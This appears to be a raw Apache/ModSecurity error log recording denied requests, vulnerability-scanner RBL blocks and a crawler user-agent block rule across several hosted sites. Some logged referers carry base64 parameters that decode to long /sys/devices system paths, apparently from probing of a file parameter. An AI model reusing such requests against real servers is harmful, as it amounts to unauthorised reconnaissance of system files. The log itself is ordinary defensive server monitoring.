https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:22:43.656256 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.9:52468] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:43.656539 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.9:52468] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:43.807395 2026] [security2:error] [pid 646876:tid 646926] [remote 17.22.245.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30U9yTkdrNlD40tSHOvwAALS8"] [Sat Jun 13 18:22:43.967534 2026] [security2:error] [pid 646876:tid 647004] [remote 17.246.19.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30U9yTkdrNlD40tSHOxAAAW30"] [Sat Jun 13 18:22:43.970564 2026] [security2:error] [pid 646876:tid 647040] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/spl/examples/tests/dualiterator_001.phpt"] [unique_id "ai30U9yTkdrNlD40tSHOxQAAACA"] [Sat Jun 13 18:22:44.025463 2026] [security2:error] [pid 646876:tid 647030] [client 47.128.24.238:50526] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.cyprusyouth.org"] [uri "/robots.txt"] [unique_id "ai30VNyTkdrNlD40tSHOxgAAABY"] [Sat Jun 13 18:22:44.056284 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:22:44.056771 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:22:44.572241 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:22:44.572709 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:22:44.631643 2026] [access_compat:error] [pid 715691:tid 715765] [remote 57.141.14.54:63845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:44.632007 2026] [access_compat:error] [pid 715691:tid 715765] [remote 57.141.14.54:63845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:44.894587 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.53:20348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:44.895024 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.53:20348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:44.908200 2026] [security2:error] [pid 646876:tid 646949] [remote 17.241.75.15:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 15.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30VNyTkdrNlD40tSHO2wAAHEY"] [Sat Jun 13 18:22:45.021950 2026] [security2:error] [pid 715691:tid 715780] [remote 216.73.216.182:65257] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai30VbV-dFiaX9AtWiQdbwABUkU"] [Sat Jun 13 18:22:45.067683 2026] [access_compat:error] [pid 646876:tid 646888] [remote 57.141.14.89:23066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:45.068107 2026] [access_compat:error] [pid 646876:tid 646888] [remote 57.141.14.89:23066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:45.106109 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:22:45.106542 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:22:45.160808 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.38:28019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:45.161247 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.38:28019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:45.490723 2026] [security2:error] [pid 646876:tid 646907] [remote 17.241.219.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30VdyTkdrNlD40tSHO6gAALxw"] [Sat Jun 13 18:22:45.574738 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.86:41370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:45.575022 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.86:41370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:45.624514 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:45.624810 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:45.669698 2026] [security2:error] [pid 715691:tid 715794] [remote 17.246.19.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30VbV-dFiaX9AtWiQdhgABL1M"] [Sat Jun 13 18:22:45.842403 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.89:23068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:45.842744 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.89:23068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:46.069976 2026] [security2:error] [pid 646876:tid 646898] [remote 17.22.245.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30VtyTkdrNlD40tSHO9QAALRM"] [Sat Jun 13 18:22:46.166623 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:22:46.167095 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:22:46.239840 2026] [access_compat:error] [pid 646876:tid 646930] [remote 57.141.14.56:42640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:46.240283 2026] [access_compat:error] [pid 646876:tid 646930] [remote 57.141.14.56:42640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:46.339153 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.109:64954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:46.339449 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.109:64954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:46.592527 2026] [access_compat:error] [pid 715691:tid 715802] [remote 57.141.14.13:52689] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:46.592803 2026] [access_compat:error] [pid 715691:tid 715802] [remote 57.141.14.13:52689] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:46.658732 2026] [access_compat:error] [pid 715691:tid 715727] [remote 57.141.14.95:60907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:46.659136 2026] [access_compat:error] [pid 715691:tid 715727] [remote 57.141.14.95:60907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:46.668565 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:22:46.668863 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:22:46.744566 2026] [security2:error] [pid 646876:tid 646938] [remote 17.246.23.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30VtyTkdrNlD40tSHPAQAAIzs"] [Sat Jun 13 18:22:46.758952 2026] [security2:error] [pid 646876:tid 646960] [remote 57.141.14.36:45316] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30VtyTkdrNlD40tSHPAgAACFE"], referer: https://nelsonfarmstn.com/shop/page/2/?add_to_wishlist=411&_wpnonce=dacad5c21f&add-to-cart=3097 [Sat Jun 13 18:22:47.177685 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.100:64991] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:47.178130 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.100:64991] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:47.199736 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvaWQ= [Sat Jun 13 18:22:47.200033 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvaWQ= [Sat Jun 13 